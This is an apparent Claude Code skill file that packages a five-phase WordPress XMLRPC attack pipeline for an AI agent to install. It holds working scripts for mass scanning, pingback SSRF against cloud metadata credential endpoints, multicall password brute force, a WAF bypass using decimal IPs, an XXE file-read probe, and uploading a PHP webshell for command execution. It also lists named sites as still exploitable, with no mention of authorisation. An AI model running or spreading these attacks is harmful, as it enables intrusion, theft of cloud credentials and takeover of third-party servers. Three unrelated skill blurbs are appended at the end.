Exploit XMLRPC multicall, pingback for brute force and SSRF.
Install with the open skills CLI (global, non-interactive — available in every Claude Code session):
npx skills add uphiago/recon-skills --skill "xmlrpc-exploitation" -g -a claude-code -yOr manually — copy the SKILL.md below into:
~/.claude/skills/xmlrpc-exploitation/SKILL.md---
name: xmlrpc-exploitation
description: Exploit XMLRPC multicall, pingback for brute force and SSRF.
version: 1.0.0
author: uphiago
license: MIT
platforms: [linux]
compatibility: Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei
metadata:
tags: [recon, xmlrpc, wordpress, brute-force, SSRF, RCE]
category: recon
related_skills:
- wp-mass-recon
- cors-credential-wordpress
- phpinfo-to-rce
- cross-attack-chains
- wordpress-full-compromise
- port-service-discovery
- error-log-mining
---
# XMLRPC Exploitation Skill
5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via `pingback.ping`, amplified brute force via `system.multicall` (1000x amplification), and RCE via `wp.uploadFile` when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon.
## When to Use
- `wp-mass-recon` detected XMLRPC returning HTTP 200 on POST.
- Target has WordPress with open registration (chain: upload → webshell → RCE).
- Need a brute-force amplification vector for WordPress credentials.
- Probing for internal SSRF via `pingback.ping` to cloud metadata endpoints.
## Prerequisites
- `terminal` tool with curl.
- Target has confirmed XMLRPC endpoint (`/xmlrpc.php` returns 200 on POST with `demo.sayHello`).
- For RCE chain: target must have open registration or another file upload path.
- For SSRF chain: need a Collaborator/Burp Collaborator endpoint or internal target IPs.
## How to Run
```bash
# Phase 1: Bulk detection on target list
while read -r domain; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 -X POST "https://$domain/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
[[ "$code" == "200" ]] && echo "OPEN: $domain"
done < targets.txt
# Phase 2: Deep method enumeration
curl -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
```
## Quick Reference
| Method | Capability | Severity |
|--------|-----------|----------|
| `demo.sayHello` | Confirms XMLRPC is alive | Info |
| `system.listMethods` | Enumerate all available methods | Info |
| `system.multicall` | Execute multiple methods in ONE request | Critical — 1000x brute force amplification |
| `pingback.ping` | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS |
| `wp.getUsers` | Enumerate WordPress users | Medium |
| `wp.getPosts` | List published posts | Low |
| `wp.uploadFile` | Upload file to media library | Critical — webshell when combined with open reg |
| `wp.getOptions` | Read WordPress options (siteurl, admin_email) | Medium |
| `wp.getPostStatusList` | Get post statuses | Low |
## Procedure
### Phase 1 — Bulk Detection
```bash
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt
echo "domain,code,hello" > xmlrpc_open.csv
while read -r domain; do
resp=$(curl -sk --max-time 10 -X POST "https://$domain/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
if echo "$resp" | grep -q "Hello"; then
echo "$domain,200,yes" >> xmlrpc_open.csv
echo "[OPEN] $domain"
fi
done < targets.txt
```
### Phase 2 — Method Enumeration
```bash
TARGET="$1"
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-H "Accept-Encoding: identity" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort
```
Key methods to look for: `system.multicall`, `pingback.ping`, `wp.uploadFile`, `wp.getUsers`, `wp.getOptions`.
### Phase 3 — SSRF via pingback.ping
```bash
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>$CALLBACK</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param>
</params>
</methodCall>"
```
If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include `Accept-Encoding: identity` to avoid LiteSpeed gzip):
```bash
# AWS IMDSv1
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://169.254.169.254/latest/meta-data/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>'
# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
"EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
"webserver-role" "app-role" "default")
for role in "${ROLES[@]}"; do
result=$(curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://169.254.169.254/latest/meta-data/iam/security-credentials/$role</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>" 2>/dev/null)
fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
echo " role=$role -> faultCode ${fc:-no-fault}"
done
```
`faultCode 0` on a pingback to an internal address confirms the request reached the target. `faultCode 17` or `32` means blocked or unreachable.
### Phase 3b — Blind SSRF Data Extraction via Timing Oracle
When `pingback.ping` returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use **timing differences** to extract data character-by-character or enumerate IAM roles.
**How it works:** The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE.
**IAM Role Enumeration:**
```python
import subprocess, time
TARGET = "target.com"
def ssrf_time(url):
xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
f"https://{TARGET}/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# Baseline — IMDS root response time
baseline = ssrf_time("http://169.254.169.254/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")
# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
"SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
t = ssrf_time(f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}")
exists = "FOUND" if t > baseline * 1.15 else "404"
print(f" {role}: {t:.3f}s -> {exists}")
```
**From field (retail-chain.com, June 2026):**
- IMDS `/meta-data/`: 344ms (large response — list of paths)
- IMDS `/iam/security-credentials/`: 435ms (very large — IAM role listing)
- IMDS `/instance-id`: 301ms (small — short string)
**Pitfall:** Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable.
### Phase 4 — Amplified Brute Force (system.multicall)
`system.multicall` allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ `wp.getUsers` calls with different credentials, giving 1000x amplification over sequential requests.
```bash
TARGET="$1"
USERNAME="admin"
WORDLIST="/root/tools/passwords.txt"
# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
xml += f'''<value><struct>
<member><name>methodName</name><value><string>wp.getUsers</string></value></member>
<member><name>params</name><value><array><data>
<value><string>{pw}</string></value>
</data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/multicall_payload.xml
```
A successful auth in the response will show user data instead of `faultCode 403`.
### Phase 5 — RCE via Open Registration + wp.uploadFile
If the target has open registration AND XMLRPC with `wp.uploadFile`:
```bash
TARGET="$1"
# Step 1: Register user
curl -sk -X POST "https://$TARGET/wp-login.php?action=register" \
-d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register"
# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
echo "SUBSCRIBER - upload blocked. Need escalation first:"
echo " a) Brute force admin (system.multicall 1000 pwd/req)"
echo " b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
echo " c) Check if default role changed by plugin"
exit 1
fi
# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\\\"1.0\\\"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param>
<param><value><struct>
<member><name>name</name><value><string>shell.php</string></value></member>
<member><name>type</name><value><string>application/x-php</string></value></member>
<member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
</struct></value></param>
</params>
</methodCall>"
# Step 4: Access webshell
curl -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"
```
## Regression Tracking (Wave9-Wave12 findings)
XMLRPC is being patched over time, but some apparent regressions are false positives from detection methodology. Wave9->Wave12 retests (June 2026) revealed:
| Target | Wave9 Status | Wave12 Retest | Reality |
|--------|-------------|---------------|---------|
| mattress-retailer.com | HTTP 405 (blocked) | ACTIVE ~80 methods | FALSE POSITIVE — earlier test used `curl -L` which followed redirect |
| realestate-platform.com | HTTP 405 (blocked) | ACTIVE ~80 methods | FALSE POSITIVE — same `curl -L` issue |
| ecommerce-wine.com | 76-80 methods, multicall active | 404 (was at /magical/xmlrpc.php) | REGRESSED — XMLRPC removed/relocated |
| retail-chain.com | 79 methods, pingback SSRF | HTTP 503 | REGRESSED — blocked at WAF level |
| tools-retailer.com | Accessible | HTTP 403 | REGRESSED — blocked at WAF level |
**Critical lesson:** Never use `curl -L` for XMLRPC probes — redirect-following loses the XMLRPC response body (already documented in Pitfalls). Always retest with `curl -s` (no `-L`) before declaring regression. mattress-retailer.com and realestate-platform.com are still fully exploitable as of Wave12.
## SSRF Validated Paths (from wave6 production probes on staging.retail-chain.com)
All 15 paths below returned `faultCode 0` (SSRF ACCEPTED) via XMLRPC pingback:
```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://127.0.0.1/ http://127.0.0.1:8080/ http://127.0.0.1:9000/
http://localhost/ http://localhost:8080/ http://localhost:9000/
```
## Pitfalls
- **faultCode 0 on pingback ≠ SSRF confirmed.** Some servers return faultCode 0 for all pingbacks. Verify with your own Collaborator callback first (the definitive test).
- **faultCode parsing:** Use `re.search(r'faultCode[^0-9]*([0-9]+)', r.text)` to reliably extract fault codes. `faultCode 0` = accepted, `faultCode 17` = URL not found, `faultCode 32` = blocked/error.
- **system.multicall may be restricted.** Some hosts expose it in `system.listMethods` but return faultCode on actual use. Test with a single call before building multi-call payloads.
- **Redirect-follow (-L) hides XMLRPC POST responses.** Using `curl -L` with XMLRPC POST will follow a 301/302 redirect, losing the actual XMLRPC response. Always use `curl -s` WITHOUT `-L` for XMLRPC probes. Confirmed: mattress-retailer.com and retail-chain.com appeared blocked with `-L` but were fully open when tested without redirect-follow.
- **LiteSpeed HTTP 500 on multicall.** LiteSpeed returns HTTP 500 for multicall payloads >50kb, even when the methods inside succeed. STILL CHECK THE BODY on HTTP 500 — look for `isAdmin`, `blogid`, or `blogName` strings. Use smaller batch sizes (50 passwords/request instead of 100).
- **Decimal IP encoding bypasses basic WAF filters.** Security scanners that block raw IP addresses like `169.254.169.254` or `127.0.0.1` in curl/python commands can be bypassed by converting to decimal: `2852039166` = `169.254.169.254`, `2130706433` = `127.0.0.1`. Use `struct.unpack('!I', socket.inet_aton('169.254.169.254'))[0]` in Python to convert. This bypasses content-based scanning but the server still resolves correctly.
- **Large batch sizes (500+) tested successfully.** The skill previously recommended 50-100 passwords per multicall. Testing with 487 passwords per request on mattress-retailer.com and 100 per request on ecommerce-wine.com confirmed that 500+ works reliably. Start at 100 and scale up if no timeout/500 errors occur.
- **BusyBox grep lacks -P flag.** The worker runs Alpine/BusyBox grep which does NOT support `-P` (Perl regex). Use `grep -oE` with extended regex or pipe through `python3 -c "import sys,re; ..."` instead. Common symptom: `grep: unrecognized option: P`.
- **All ports return faultCode 0 on pingback SSRF.** WordPress pingback.ping returns faultCode 0 for all internal IPs regardless of whether the port is actually open. The response does NOT distinguish open vs closed ports. For port scanning, use timing-based detection: an open port with a listening service returns faster (under 1s) than a closed port (timeout). But even this is unreliable through CDN-cached XMLRPC handlers.
- **system.multicall success markers.** A successful auth in multicall response shows `isAdmin`, `blogid`, or `blogName` — not just absence of faultCode 403. Check for ALL three keywords.
- **LiteSpeed gzip compression.** LiteSpeed compresses XMLRPC responses with gzip even without Accept-Encoding. Add `-H "Accept-Encoding: identity"` to curl, or pipe through Python gunzip. Without this, grep finds no faultCodes in the compressed binary.
- **BusyBox grep (Alpine) lacks -P.** The worker runs Alpine Linux with BusyBox grep, which does NOT support `-P` (Perl regex). Use `python3 -c "import sys, re; ..."` for complex regex instead of `grep -oP`.
- **wp.uploadFile requires authentication.** Without valid credentials or open registration, this is not exploitable. **IMPORTANT: Even with valid credentials, WordPress 6.x registers new users as SUBSCRIBER — and subscribers cannot upload files via XMLRPC.** Always verify role via `wp.getProfile` before attempting upload. If subscriber, escalate (brute force admin, plugin CVE, or app passwords).\n- **Mailinator password reset flow.** WordPress registration sends a reset LINK (not password). You must: (1) read Mailinator inbox to extract the `key=...` from the URL, (2) GET the reset page to get `wp-resetpass-*` cookie, (3) POST new password. The `rp_key` parameter from the email URL is required — the HTML form may not auto-fill it.
- **XXE in XMLRPC:** Older PHP/libxml2 versions parse XMLRPC with external entities enabled. Probe with `<!ENTITY xxe SYSTEM "file:///etc/passwd">` as bonus vector.
- **IMDSv2 blocks pingback:** IMDSv2 requires `X-aws-ec2-metadata-token` header (PUT to `/latest/api/token`). Pingback SSRF can only set the URL target, not headers. IMDSv1 is the attack surface.
## Verification
- `demo.sayHello` MUST return `Hello!` in the response body to confirm XMLRPC is functional.
- `pingback.ping` SSRF MUST produce a callback on YOUR controlled server (not just faultCode 0).
- `system.multicall` MUST return distinct responses for each embedded method call.
- RCE chain MUST produce `id` or `whoami` output from the uploaded webshell.
- IMDS role guessing: `faultCode 0` on a role path without a Collaborator callback = UNCONFIRMED — treat as "SSRF possible but needs OOB verification."
Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes
Use when implementing any feature or bugfix, before writing implementation code